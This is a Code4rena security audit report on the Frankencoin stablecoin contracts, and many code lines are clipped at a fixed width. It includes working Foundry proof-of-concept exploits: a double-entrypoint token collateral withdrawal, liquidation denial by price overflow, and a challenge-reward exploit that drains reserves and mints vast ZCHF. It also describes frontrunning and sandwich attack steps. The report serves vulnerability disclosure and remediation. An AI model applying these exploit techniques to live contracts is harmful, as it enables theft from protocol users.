Frankencoin
Findings & Analysis Report

2023-06-09

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Frankencoin smart contract system written in Solidity. The audit took place between April 12—April 19 2023.

Wardens

219 Wardens contributed reports to the Frankencoin:

1. 0x007
2. 0x3b
3. 0x73696d616f
4. 0xAgro
5. 0xBeirao
6. 0xDACA
7. 0xNorman
8. 0xRB
9. 0xSmartContract
10. 0xStalin
11. 0xTheC0der
12. 0xWaitress
13. 0xWeiss
14. 0xbepresent
15. 0xbrett8571
16. 0xhacksmithh
17. 0xkaju
18. 0xmuxyz
19. 0xnev
20. 117l11

21. 3dgeville
22. 3th
23. 4710710N
24. 7siech
25. 8olidity
26. ADM
27. Ace-30
28. Arz
29. Aymen0909
30. BGSecurity (anonresercher and martin)
31. BPZ (pa6221, Bitcoinfever244, and PrasadLak)
32. BRONZEDISC
33. Bauchibred
34. Bauer
35. BenRai
36. BitsOrBytes
37. Breeje
38. ChainHunters (Zer0Luck, junan, hyeon, and nugurii0)
39. ChrisTina
40. CodeFoxInc (thurendous, TerrierLover, and retocrooman)
41. DadeKuma
42. DedOhWale
43. Diana
44. DishWasher
45. EloiManuel
46. Emmanuel
47. Erko
48. EvanW
49. GreedyGoblin

50. HaCk0
51. Haipls
52. Hama
53. IceBear
54. Inspex (Resistor, jokopoppo, DeStinE21, mimic_f, Rugsurely, ErbaZZ, and rxnnxchxi)
55. J4de
56. JCN
57. JGcarv
58. JcFichtner
59. Jerry0x
60. Jiamin
61. John
62. Jorgect
63. Josiah
64. Juntao
65. KIntern_NA (TrungOre and duc)
66. Kaysoft
67. Kek
68. Krace
69. Kumpa
70. Lalanda
71. LegendFenGuin
72. LeoGold
73. LewisBroadhurst
74. Lirios
75. Madalad
76. MiloTruck
77. MohammedRizwan

78. Mukund
79. NoamYakov
80. Norah
81. Nyx
82. PNS
83. Polaris_tow
84. Proxy
85. Rageur
86. Raihan
87. RaymondFam
88. RedTiger
89. ReyAdmirado
90. Ruhum
91. SAAJ
92. SaeedAlipoor01988
93. SaharDevep
94. SanketKogekar
95. Sathish9098
96. Satyam_Sharma
97. SolidityATL (plasmablocks and wzrdk3lly)
98. SpicyMeatball
99. T1MOH
100. ToonVH
101. Tricko
102. Udsen
103. UniversalCrypto (amaechieth and tettehnetworks)
104. V_B (Barichek and vlad_bochok)
105. W0RR1O
106. __141345__

107. aashar
108. ak1
109. anodaram
110. aria
111. ayden
112. berlin-101
113. bin2chen
114. boredpukar
115. btk
116. bughunter007
117. c3phas
118. carlitox477
119. carrotsmuggler
120. catellatech
121. cccz
122. circlelooper
123. codeslide
124. crc32
125. cryptonue
126. d3e4
127. deadrxsezzz
128. decade
129. deliriusz
130. descharre
131. evmboi32
132. eyexploit
133. fatherOfBlocks
134. foxb868
135. georgits

136. giovannidisiena
137. hihen
138. hunter_w3b
139. jangle
140. jasonxiale
141. jayfromthe13th
142. joestakey
143. juancito
144. karanctf
145. kenta
146. kodyvim
147. ladboy233
148. lil_eth
149. ltyu
150. lukino
151. lukris02
152. m9800
153. mahdikarimi
154. markus_ether
155. marwen
156. matrix_0wl
157. mov
158. mrpathfindr
159. nadin
160. naman1778
161. niser93
162. nobody2018
163. p0wd3r
164. parlayan_yildizlar_takimi (ulas and caglankaan)

165. pavankv
166. peakbolt
167. peanuts
168. petrichor
169. pfapostol
170. pipoca
171. pontifex
172. qpzm
173. ravikiranweb3
174. rbserver
175. rvierdiiev
176. ryanranran
177. said
178. santipu_
179. sashik_eth
180. sces60107
181. sebghatullah
182. shalaamum
183. shealtielanz
184. silviaxyz
185. slvDev
186. smaul0 (smaul and MBabattya)
187. sorrynotsorry
188. tallo
189. tnevler
190. trysam2003
191. vakzz
192. volodya
193. wonjun

194. xmxanuel
195. yellowBirdy
196. yixxas
197. zaevlad
198. zhuXKET
199. zzebra83

This audit was judged by hansfriese.

Final report assembled by yadir.

Summary

The C4 analysis yielded an aggregated total of 21 unique vulnerabilities. Of these vulnerabilities, 6 received a risk rating in the category of HIGH severity and 15 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 137 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 43 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Frankencoin audit repository, and is composed of 10 smart contracts written in the Solidity programming language and includes 949 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (6)

[H-01] Challenges can be frontrun with de-leveraging to cause lossses for challengers

Submitted by carrotsmuggler*, also found by* mov*,* bin2chen*,* juancito*,* KIntern_NA*,* Ace-30*,* cccz*,* Nyx*,* nobody2018*, and* mahdikarimi

Challenges, once created, cannot be closed. Thus once a challenge is created, the challenger has already transferred in a collateral amount and is thus open for losing their collateral to a bidding war which will most likely close below market price, since otherwise buying from the market would be cheaper for bidders.

Position owners can take advantage of this fact and frontrun a `launchChallenge` transaction with an `adjustPrice` transaction. The `adjustPrice` function lets the user lower the price of the position, and can pass the collateral check by sending collateral tokens externally.

As a worst case scenario, consider a case where a position is open with 1 ETH collateral and 1500 ZCHF minted. A challenger challenges the position and the owner frontruns the challenger by sending the contract 1500 ZCHF and calling `repay()` and then calling `adjustPrice` with value 0, all in one transaction with a contract. Now, the price in the contract is set to 0, and the collateral check passes since the outstanding minted amount is 0. The challenger's transaction gets included next, and they are now bidding away their collateral, since any amount of bid will pass the avert collateral check.

The position owner themselves can backrun the same transaction with a bid of 1 wei and take all the challenger's collateral, since every bid checks for the `tryAvertChallenge` condition.

```
if (_bidAmountZCHF * ONE_DEC18 >= price * _collateralAmount)
```

Since price is set to 0, any bid passes this check. This sandwich attack causes immense losses to all challengers in the system, baiting them with bad positions and then sandwiching their challenges.

Since sandwich attacks are extremely commonplace, this is classified as high severity.

Proof of Concept

The attack can be performed the following steps.

1. Have an undercollateralized position. This can be caused naturally due to market movements.
2. Frontrun challenger's transaction with a repayment and `adjustPrice` call lowering the price.
3. Challenger's call gets included, where they now put up collateral for bids.
4. Backrun challenger's call with a bid such that it triggers the avert.
5. Attacker just claimed the challenger's collateral at their specified bid price, which can be as little as 1 wei if price is 0.

Recommended Mitigation Steps

When launching a challenge, ask for a `expectedPrice` argument. If the actual price does not match this expected price, that means that transaction was frontrun and should be reverted. This acts like a slippage check for challenges.

0xA5DF (lookout) commented:

> I have some doubts about severity, since the auction's final bid is expected to be at about the worth of the collateral. So the challenger isn't expected to lose anything but the challenge reward.

luziusmeisser (Frankencoin) confirmed and commented:

> This is actually a high risk issue as the challenge is ended early as soon as the highest bid reaches the liquidation price.

> I would even say that this is one of the most valuable findings I've seen so far!

> The fix is to add front-running protection to the launchChallenge function:

```
function launchChallenge(address _positionAddr, uint256 _collate
        IPosition position = IPosition(_positionAddr);
        if (position.price() != expectedPrice) revert Unexpectec
```

hansfriese (judge) commented:

> Since the owner lowers the price of the position, the collateral for a challenge is worth nothing, and the challengers might lose their collateral. So I agree with the sponsor.

[H-02] Double-entrypoint collateral token allows position owner to withdraw underlying collateral without repaying ZCHF

Submitted by giovannidisiena, *also found by* bin2chen, tallo, *and* J4de

`Position::withdraw` is intended to allow the position owner to withdraw any ERC20 token which might have ended up at position address. If the collateral address is passed as argument then `Position::withdrawCollateral` is called to perform the necessary checks and balances. However, this can be bypassed if the collateral token is a double-entrypoint token.

Such tokens are problematic because the legacy token delegates its logic to the new token, meaning that two separate addresses are used to interact with the same token. Previous examples include TUSD which resulted in vulnerability when integrated into Compound. This highlights the importance of carefully selecting the collateral token, especially as this type of vulnerability is not easily detectable. In

addition, it is not unrealistic to expect that an upgradeable collateral token could become a double-entrypoint token in the future, e.g. USDT, so this must also be considered.

This vector involves the position owner dusting the contract with the collateral token's legacy counterpart which allows them to withdraw the full collateral balance by calling `Position::withdraw` passing the legacy address as `token` argument. This behaviour is flawed as the position owner should repay the ZCHF debt before withdrawing their underlying collateral.

Proof of Concept

Apply the following git diff:

```
diff --git a/.gitmodules b/.gitmodules
index 888d42d..e80ffd8 100644
--- a/.gitmodules
+++ b/.gitmodules
@@ -1,3 +1,6 @@
 [submodule "lib/forge-std"]
        path = lib/forge-std
        url = https://github.com/foundry-rs/forge-std
+[submodule "lib/openzeppelin-contracts"]
+       path = lib/openzeppelin-contracts
+       url = https://github.com/openzeppelin/openzeppelin-contr
diff --git a/lib/openzeppelin-contracts b/lib/openzeppelin-contr
new file mode 160000
index 0000000..0a25c19
--- /dev/null
+++ b/lib/openzeppelin-contracts
@@ -0,0 +1 @@
+Subproject commit 0a25c1940ca220686588c4af3ec526f725fe2582
diff --git a/test/DoubleEntryERC20.sol b/test/DoubleEntryERC20.s
new file mode 100644
index 0000000..b871288
--- /dev/null
+++ b/test/DoubleEntryERC20.sol
@@ -0,0 +1,74 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "../lib/openzeppelin-contracts/contracts/access/Ownable.
+import "../lib/openzeppelin-contracts/contracts/token/ERC20/ERC
```

```
+
+interface DelegateERC20 {
+    function delegateTransfer(address to, uint256 value, addres
+    function delegateBalanceOf(address account) external view r
+}
+
+contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
+    DelegateERC20 public delegate;
+
+    constructor() {
+        _mint(msg.sender, 100 ether);
+    }
+
+    function mint(address to, uint256 amount) public onlyOwner
+        _mint(to, amount);
+    }
+
+    function delegateToNewContract(DelegateERC20 newContract) p
+        delegate = newContract;
+    }
+
+    function transfer(address to, uint256 value) public overric
+        if (address(delegate) == address(0)) {
+            return super.transfer(to, value);
+        } else {
+            return delegate.delegateTransfer(to, value, msg.ser
+        }
+    }
+
+    function balanceOf(address account) public view override re
+        if (address(delegate) == address(0)) {
+            return super.balanceOf(account);
+        } else {
+            return delegate.delegateBalanceOf(account);
+        }
+    }
+}
+
+contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DE
+    address public delegatedFrom;
+
+    constructor(address legacyToken) {
+        delegatedFrom = legacyToken;
+        _mint(msg.sender, 100 ether);
+    }
+
```

```
+    modifier onlyDelegateFrom() {
+        require(msg.sender == delegatedFrom, "Not legacy contra
+        _;
+    }
+
+    function mint(address to, uint256 amount) public onlyOwner
+        _mint(to, amount);
+    }
+
+    function delegateTransfer(address to, uint256 value, addres
+        public
+        override
+        onlyDelegateFrom
+        returns (bool)
+    {
+        _transfer(origSender, to, value);
+        return true;
+    }
+
+    function delegateBalanceOf(address account) public view ove
+        return balanceOf(account);
+    }
+}
diff --git a/test/GeneralTest.t.sol b/test/GeneralTest.t.sol
index 402416d..9ce13cd 100644
--- a/test/GeneralTest.t.sol
+++ b/test/GeneralTest.t.sol
@@ -14,6 +14,7 @@ import "../contracts/MintingHub.sol";
 import "../contracts/PositionFactory.sol";
 import "../contracts/StablecoinBridge.sol";
 import "forge-std/Test.sol";
+import {LegacyToken, DoubleEntryPoint} from "./DoubleEntryERC20

 contract GeneralTest is Test {

@@ -24,6 +25,8 @@ contract GeneralTest is Test {
     TestToken col;
     IFrankencoin zchf;

+    LegacyToken legacy;
+    DoubleEntryPoint doubleEntry;
     User alice;
     User bob;

@@ -35,10 +38,41 @@ contract GeneralTest is Test {
         hub = new MintingHub(address(zchf), address(new Positic
```

```
        zchf.suggestMinter(address(hub), 0, 0, "");
        col = new TestToken("Some Collateral", "COL", uint8(0))
+       legacy = new LegacyToken();
+       doubleEntry = new DoubleEntryPoint(address(legacy));
        alice = new User(zchf);
        bob = new User(zchf);
    }

+   function testPoCWithdrawDoubleEntrypoint() public {
+       alice.obtainFrankencoins(swap, 1000 ether);
+       emit log_named_uint("alice zchf balance before opening
+       uint256 initialAmount = 100 ether;
+       doubleEntry.mint(address(alice), initialAmount);
+       vm.startPrank(address(alice));
+       doubleEntry.approve(address(hub), initialAmount);
+       uint256 balanceBefore = zchf.balanceOf(address(alice));
+       address pos = hub.openPosition(address(doubleEntry), 1(
+       require((balanceBefore - hub.OPENING_FEE()) == zchf.bal
+       vm.warp(Position(pos).cooldown() + 1);
+       alice.mint(pos, initialAmount);
+       vm.stopPrank();
+       emit log_named_uint("alice zchf balance after opening p
+
+       uint256 legacyAmount = 1;
+       legacy.mint(address(alice), legacyAmount);
+       uint256 totalAmount = initialAmount + legacyAmount;
+       vm.prank(address(alice));
+       legacy.transfer(pos, legacyAmount);
+       legacy.delegateToNewContract(doubleEntry);
+
+       vm.prank(address(alice));
+       Position(pos).withdraw(address(legacy), address(alice),
+       emit log_named_uint("alice collateral balance after wit
+       emit log_named_uint("alice zchf balance after withdrawi
+       console.log("uh-oh, alice withdrew collateral without r
+   }
+
    function initPosition() public returns (address) {
        alice.obtainFrankencoins(swap, 1000 ether);
        address pos = alice.initiatePosition(col, hub);
```

Tools Used

- Manual review

- Foundry

Recommended Mitigation

- Validate the collateral balance has not changed after the token transfer within the call to `Position::withdraw`.
- Otherwise, consider restricting the use of `Position::withdraw` or remove it altogether.

luziusmeisser (Frankencoin) confirmed and commented:

> Excellent hint, thanks!

hansfriese (judge) commented:

> Great catch, reported with a reference URL and coded POC. Satisfactory report.

[H-03] When the challenge is successful, the user can send tokens to the position to avoid the position's cooldown period being extended

Submitted by cccz, also found by mahdikarimi

When the challenge is successful, internalWithdrawCollateral will be called to transfer the collateral in the position. Note that the cooldown period of the position will be extended until the position expires only if the collateral in the position is less than minimumCollateral, if the user sends collateral to the position in advance, then the cool down period of the position will not be extended.

```
function internalWithdrawCollateral(address target, uint256
    IERC20(collateral).transfer(target, amount);
    uint256 balance = collateralBalance();
    if (balance < minimumCollateral){
        cooldown = expiration;
    }
    emitUpdate();
    return balance;
}
```

I will use the following example to illustrate the severity of the issue.

Consider WETH:ZCHF=2000:1, the position has a challenge period of 3 days and the minimum amount of collateral is 1 WETH.

1. alice clones the position, offering 1 WETH to mint 0 zchf.
2. alice adjusts the price to 10e8, the cooldown period is extended to 3 days later.
3. bob offers 1 WETH to launch the challenge and charlie bids 1800 zchf.
4. Since bob has already covered all collateral, other challengers are unprofitable and will not launch new challenges
5. After 3 days, the cooldown period ends and the challenge expires.
6. bob calls end() to end the challenge.
7. alice observes bob's transaction and uses MEV to send 1 WETH to the position in advance.
8. bob's transaction is executed, charlie gets the 1 WETH collateral in the position, and alice gets most of the bid.
9. Since the position balance is still 1 WETH, the position cooldown period does not extend to the position expiration.
10. Since the position is not cooldown and there is no challenge at this point, alice uses that price to mint 10e8 zchf.

Proof of Concept

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L268-L276
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L329-L354
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L252-L276

Recommended Mitigation Steps

Consider extending the cooldown period of the position even if the challenge is successful

luziusmeisser (Frankencoin) commented:

> Excellent finding! Will implement 1 day cooldown on successful challenges.

[H-04] Transfer position ownership to `addr(0)` to DoS `end()` challenge

Submitted by __141345__

If some challenge is about to succeed, the position owner will lose the collateral. Seeing the unavoidable loss, the owner can transfer the position ownership to `addr(0)`, fail the `end()` call of the challenge. At the end, the DoS in `end()` will have these impacts:

- the successful bidder will lose bid fund.
- the challenger's collateral will be locked, and lose the challenge reward.

Proof of Concept

Assuming, the position has `minimumCollateral` of 600 zchf, the position owner minted 1,000 zchf against some collateral worth of 1,100 zchf, the highest bid for the collateral was 1,060 zchf, the challenge reward being 50. Then in `Position.sol#notifyChallengeSucceeded()`, the `repayment` will be 1,000, but `effectiveBid` worth of 1,060. The `fundNeeded` will be 1,000 + 50 = 1,050, and results in excess of 1,060 - 1,050 = 10 to refund the position owner in line 268 `MintingHub.sol`. In addition, due to the `minimumCollateral` limit, this challenge cannot be split into smaller ones.

```
File: contracts/MintingHub.sol
252:     function end(uint256 _challengeNumber, bool postponeCol

260:         (address owner, uint256 effectiveBid, uint256 volum
261:         if (effectiveBid < challenge.bid) {
262:             // overbid, return excess amount
```

```
263:             IERC20(zchf).transfer(challenge.bidder, challer
264:         }
265:         uint256 reward = (volume * CHALLENGER_REWARD) / 10(
266:         uint256 fundsNeeded = reward + repayment;
267:         if (effectiveBid > fundsNeeded){
268:             zchf.transfer(owner, effectiveBid - fundsNeedec

File: contracts/Position.sol
329:     function notifyChallengeSucceeded(address _bidder, uint

349:         uint256 repayment = minted < volumeZCHF ? minted :
350:
351:         notifyRepaidInternal(repayment); // we assume the c
352:         internalWithdrawCollateral(_bidder, _size); // trar
353:         return (owner, _bid, volumeZCHF, repayment, reserve
354:     }
```

From the position owner's point of view, the position is on auction and has incurred loss already, only 10 zchf refund left. The owner can give up the tiny amount, and transfer the ownership to `addr(0)` to DoS the `end()` call.

When the position `owner` is `addr(0)`, the transfer in line 268 `MintingHub.sol` will revert, due to the requirement in zchf (inherited from `ERC20.sol`):

```
File: contracts/ERC20.sol
151:     function _transfer(address sender, address recipient, u
152:         require(recipient != address(0));
```

Now the successful bidder can no longer call `end()`. The bid fund will be lost. Also the challenger will lose the collateral because the return call encounter DoS too.

Recommended Mitigation Steps

Disallow transferring position ownership to `addr(0)`

0xA5DF (lookout) commented:

> The need to prevent transferring to the zero address is already mentioned in the automated findings and was reported by `#935`, however the impact

> demonstrated in this report is much more severe than the low severity impact identified by other reports and therefore I believe it should be a separate finding.

luziusmeisser (Frankencoin) confirmed

[H-05] Position owners can deny liquidations

Submitted by JGcarv

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L159
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L307

Impact

The owner of a vulnerable position can deny being liquidated by setting the price to be `type(uint256).max`, making every call to `tryAvertChallenge` fail due to an overflow.

This means that if it's advantageous enough the owner can choose to keep `zchf` and leave the collateral stuck. This could happen in any scenario where a collateral is likely to loose it's value, for example, de-pegs, runs on the bank, etc.

Test Proof

Here's a snippet that can be pasted on `GeneralTest.t.sol`:

```
    function test_liquidationDenial() public {
        test01Equity(); // ensure there is some equity to burn
        address posAddress = initPosition();
        Position pos = Position(posAddress);

        skip(15 * 86_400 + 60);

        alice.mint(address(pos), 1001);

        vm.prank(address(alice));
        pos.adjustPrice(type(uint256).max);
```

```
        col.mint(address(bob), 1001);
        uint256 first = bob.challenge(hub, posAddress, 1001);

        bob.obtainFrankencoins(swap, 55_000 ether);

        vm.expectRevert();
        bob.bid(hub, first, 10_000 ether);

        skip(7 * 86_400 + 60);

        vm.expectRevert();
        hub.end(first, false);
    }
```

0xA5DF (lookout) commented:

> I think the real issue here is that you can't end the challenge (as shown in the last line of the PoC), that will cause a loss of funds for challenger and disincentivize users from challenging the position.

luziusmeisser (Frankencoin) confirmed and commented:

> Ouch, this is a good one.

hansfriese (judge) commented:

> Great finding with coded POC. As the presort mentioned, the impact is the same as `#670` , but this has a different exploit path. Satisfactory.

[H-06] `CHALLENGER_REWARD` can be used to drain reserves and free mint

Submitted by Lirios, *also found by* shalaamum, juancito, 0xDACA, Kumpa, __141345__, __141345__, bin2chen, cccz, said, tallo, juancito, Emmanuel, BenRai, jangle, T1MOH, bughunter007, juancito, cccz, nobody2018, SpicyMeatball, 117l11, 117l11, ChrisTina, *and* vakzz

The goal of the auction mechanism is to determine the fair price of the collateral, so that Frankencoin (ZCHF) is always sufficiently backed and the system remains in balance.

If the challenge is successful, the bidder gets the collateral from the position and the position is closed, distributing excess proceeds to the reserve and paying a reward to the challenger.

The reward for the challenger is based on the user provided price and can be abused to have the protocol pay unlimited rewards.

Proof of Concept

When a challenge ends without being Averted, the **end()** function can be called to process the liquidation. This process pays back the minted `ZCHF` tokens with the bid and sends the collateral to the bidder. The challenger receives back the collateral he supplied when starting the challenge, and receives a `CHALLENGER_REWARD` of 2% of the challenged collateral value in `ZCHF`.

To calculate the value of the reward, it uses **uint256 reward = (volume * CHALLENGER*REWARD) / 1000*\000;** with `volume` being the `volumeZCHF` value returned from **Position.notifyChallengeSucceeded()**
This is calculated as

```
uint256 volumeZCHF = _mulD18(price, _size);
// How much could have minted with the challenged amount of the collateral
```

meaning that if the price is very high, the theoretical volumeZCHF will be very high too.

When there are insufficient funds in the Position to pay for the reward, `FrankenCoin.notifyLoss()` is used to get the funds from the reserve and mint new coins.

The price of a Position can be set when it is created, or later by the owner via an adjustPrice call.
The steps to take:

1. Position owner mints the maximum ZCHF.

2. Position owner adjusts price and sets it to a very large value.
3. Owner immediately starts a challenge via MintingHub When price is very high, if there are bids, they will never pass the AvertChallenge check of `_bidAmountZCHF * ONE_DEC18 >= price * _collateralAmount` so the Challenge will always succeed.
4. After the challenge period, the end() function can be called, and Challenger will receive a high amount of ZCHF as a fee.

An alternative and faster way is to create a new position and immediately challenge it.

When creating a Position, `_challengeSeconds` can be set to 0 and calling `launchChallenge` is possible before Position start waiting time is over. This makes it possible for any user to drain all reserves and mint a large number of ZCHF in 1 transaction.

POC Script

A proof of concept testscript is created to demonstrate the vulnerability. This code was added to `GeneralTest.t.sol`

```
    function showBalances() public {
        address hacker = 0xBaDbaDBAdBaDBaDbaDbABDbAdBAdBaDbADBac
        console.log('=============== Balances ===============
        console.log('hacker xchf     :',xchf.balanceOf(hacker)/1
        console.log('hacker zchf     :',zchf.balanceOf(hacker)/1
        console.log('reserver zchf   :',zchf.balanceOf(address(z
        console.log('zchf.totalSupply:',zchf.totalSupply()/1e18)
        console.log(' ');
    }

    function test10AbuseChallengeReward() public {

        test04Mint(); // let bob/alice open position so not all

        // init, start wit 2 xchf and 1000 zhf
        address hacker = 0xBaDbaDBAdBaDBaDbaDbABDbAdBAdBaDbADBac
        TestToken xchf_ = TestToken(address(swap.chf()));
        xchf_.mint(address(hacker), 1002 ether);
```

```
        vm.startPrank(hacker);
        xchf_.approve(address(swap),  1000 ether);
        swap.mint(1000 ether);
        showBalances();

        // open a position with fake inflated price and dummy cc
        // _challengeSeconds to 0 so we can immediately challenc
        xchf_.approve(address(hub),  1 ether); // collateral
        zchf.approve(address(hub),  1000 ether); // 1000 OPENINC
        address myPosition = hub.openPosition(
            address(xchf_), // _collateralAddress,
            1 ether,        // _minCollateral
            1 ether,        // _initialCollateral
            1000 ether,     // _mintingMaximum
            3 days,         // _initPeriodSeconds minimum perios
            10 days,        // _expirationSeconds
            0,              // _challengeSeconds set to 0 to imm
            0,              //_mintingFeePPM,
            type(uint256).max / 1e20,  // _liqPrice - huge infla
            0               // _reservePPM
        );
        console.log('Creates our Position with inflated price, 1
        showBalances();

        console.log('Start launchChallenge and immediately end t
        console.log('We will receive the 1 xchf collateral back'
        console.log('and 2% of inflated collateral price in zchf
        console.log('zchf is first taken all from reserve, and r
        xchf_.approve(address(hub),  1 ether); // collateral
        uint256 challengeID = hub.launchChallenge(myPosition, 1
        hub.end(challengeID);
        showBalances();
        vm.stopPrank();

    }
```

The results of the test

```
[PASS] test10AbuseChallengeReward() (gas: 3939346)
Logs:
  =============== Balances ===============
  hacker xchf     : 2
  hacker zchf     : 1000
  reserver zchf   : 23500
```

```
zchf.totalSupply: 102000

We have creates our Position with inflated price
================ Balances ================
hacker xchf     : 1
hacker zchf     : 0
reserver zchf   : 24500
zchf.totalSupply: 102000

Start launchChallenge and immediately end the auction.
We will receive the 1 xchf collateral back
and 2% of inflated collateral price in zchf as CHALLENGER_REWA
zchf is first taken all from reserve, and rest minted
================ Balances ================
hacker xchf     : 2
hacker zchf     : 231584178474632390847141970017375815 70
reserver zchf   : 0
zchf.totalSupply: 231584178474632390847141970017376590 70
```

Tools Used

Manual review, forge

Recommended Mitigation Steps

It would be recommeded to restrict the moments when challenges can be started so Positions cannot be challenged before start time and when they are denied. This will make challenges only possible when a position once was valid, with a valid price.

To prevent owners to change the price of their Position to an extremely large value, it can be limited to change the price max x% per adjustment.

luziusmeisser (Frankencoin) confirmed and commented:

> This is probably the most important issue revealed during the audit. The warden deserves a big reward for this!

Medium Risk Findings (15)

[M-01] Function `restructureCapTable()` in `Equity.sol` not functioning as expected

Submitted by decade, *also found by* MiloTruck, EloiManuel, juancito, lukino, joestakey, ak1, 0xkaju, karanctf, silviaxyz, Aymen0909, rbserver, giovannidisiena, Arz, Udsen, marwen, 0xDACA, carrotsmuggler, Satyam_Sharma, JerryOx, zhuXKET, BPZ, kenta, zzebra83, Kek, Lalanda, bin2chen, PNS, lil_eth, Mukund, peakbolt, circlelooper, Jiamin, John, parlayan_yildizlar_takimi, cccz, rvierdiiev, Tricko, Juntao, ladboy233, anodaram, jasonxiale, nobody2018, Ruhum, markus_ether, 0x3b, 0xWeiss, HaCk0, J4de, kodyvim, volodya, deadrxsezzz, ToonVH, RedTiger, mrpathfindr, ravikiranweb3, *and* 0xWaitress

Incorrect typo in function `restructureCapTable()` leading to only burning tokens of first address of `addressToWipe` array argument.

Proof of Concept

Here, in L313, addressToWipe[0] only takes first address of the array. While ignoring the rest and also since first address's tokens are burned it will fail `addressesToWipe` array has more than one addresses.

```
function restructureCapTable(address[] calldata helpers, adc
    require(zchf.equity() < MINIMUM_EQUITY);
    checkQualified(msg.sender, helpers);
    for (uint256 i = 0; i<addressesToWipe.length; i++){
        address current = addressesToWipe[0];
        _burn(current, balanceOf(current));
    }
}
```

Recommended Mitigation Steps

Change `address current = addressesToWipe[0];` **==>** `address current = addressesToWipe[i];`

luziusmeisser (Frankencoin) confirmed

[M-02] POSITION LIMIT COULD BE FULLY REDUCED TO ZERO BY CLONES

Submitted by Josiah, *also found by* rbserver, 0xDACA, Kumpa, Emmanuel, Diana, __141345__, bin2chen, lil_eth, carlitox477, Ruhum, Nyx, nobody2018, nobody2018, *and* RaymondFam

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L126
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L97-L101

Impact

A newly opened position could have its limit fully reduced to zero as soon as the cooldown period has elapsed.

Proof of Concept

As seen in the function below, a newly opened position with `0` Frankencoin minted could have its `limit` turn `0` if the function parameter, `_minimum`, is inputted with an amount equal to `limit`. In this case, `reduction` is equal to `0`, making `limit - _minimum = 0` while the cloner is assigned `reduction + _minimum = 0 + limit = limit`:

Position.sol#L97-L101

```
    function reduceLimitForClone(uint256 _minimum) external noCl
        uint256 reduction = (limit - minted - _minimum)/2; // th
        limit -= reduction + _minimum;
        return reduction + _minimum;
    }
```

With the limit now fully allocated to the cloner, the original position owner is left with zero limit to mint Frankencoin after spending 1000 Frankencoin to open this position. This situation could readily happen especially when it involves popular position contracts.

Recommended Mitigation Steps

It is recommended position contract charging fees to cloners. Additionally, a reserve limit should be left untouched allocated solely to the original owner to be in line with the context of position opening.

0xA5DF (lookout) commented:

> Setting this one as primary since it shows how a single clone can reduce the remaining limit to zero.

luziusmeisser (Frankencoin) acknowledged and commented:

> Charging clones a fee payable to the original is an interesting idea!

> If the position comes with a high enough fee, this should not be relevant in practice as the limit will not be reached or new positions being created if there is enough demand.

[M-03] Manipulation of total share amount might cause future depositors to lose their assets

Submitted by **MiloTruck**, *also found by* **giovannidisiena**, **DedOhWale**, *and* **yixxas**

In the `Equity` contract, the `calculateSharesInternal()` function is used to determine the amount of shares minted whenever a user deposits Frankencoin:

Equity.sol#L266-L270

```
    function calculateSharesInternal(uint256 capitalBefore, uint256
        uint256 totalShares = totalSupply();
        uint256 newTotalShares = totalShares < 1000 * ONE_DEC18 ? 1(
        return newTotalShares - totalShares;
    }
```

Note that the return value is the amount of shares minted to the depositor.

Whenever the total amount of shares is less than `1000e18`, the depositor will receive `1000e18 - totalShares` shares, regardless of how much Frankencoin he has deposited. This functionality exists to mint `1000e18` shares to the first depositor.

However, this is a vulnerability as the total amount of shares can decrease below `1000e18` due to the `redeem()` function, which burns shares:

Equity.sol#L275-L278

```
function redeem(address target, uint256 shares) public returns (
    require(canRedeem(msg.sender));
    uint256 proceeds = calculateProceeds(shares);
    _burn(msg.sender, shares);
```

The following check in `calculateProceeds()` only ensures that `totalSupply()` is never below `1e18`:

Equity.sol#L293

```
require(shares + ONE_DEC18 < totalShares, "too many shares"); //
```

As such, if the total amount of shares decreases below `1000e18`, the next depositor will receive `1000e18 - totalShares` shares instead of an amount of shares proportional to the amount of Frankencoin deposited. This could result in a loss or unfair gain of Frankencoin for the depositor.

Impact

If the total amount of shares ever drops below `1000e18`, the next depositor will receive a disproportionate amount of shares, resulting in an unfair gain or loss of Frankencoin.

Moreover, by repeatedly redeeming shares, an attacker can force the total share amount remain below `1000e18`, causing all future depositors to lose most of their deposited Frankencoin.

Proof of Concept

Consider the following scenario:

- Alice deposits 1000 Frankencoin (`amount = 1000e18`), gaining `1000e18` shares in return.
- After 90 days, Alice is able to redeem her shares.
- Alice calls `redeem()` with `shares = 1` to redeem 1 share:
    - The total amount of shares is now `1000e18 - 1` .
- Bob deposits 1000 Frankencoin (`amount = 1000e18`). In `calculateSharesInternal()` :
    - `totalShares < 1000 * ONE_DEC18` evalutes to true.
    - Bob receives `newTotalShares - totalShares = 1000e18 - (1000e18 - 1) = 1` shares.

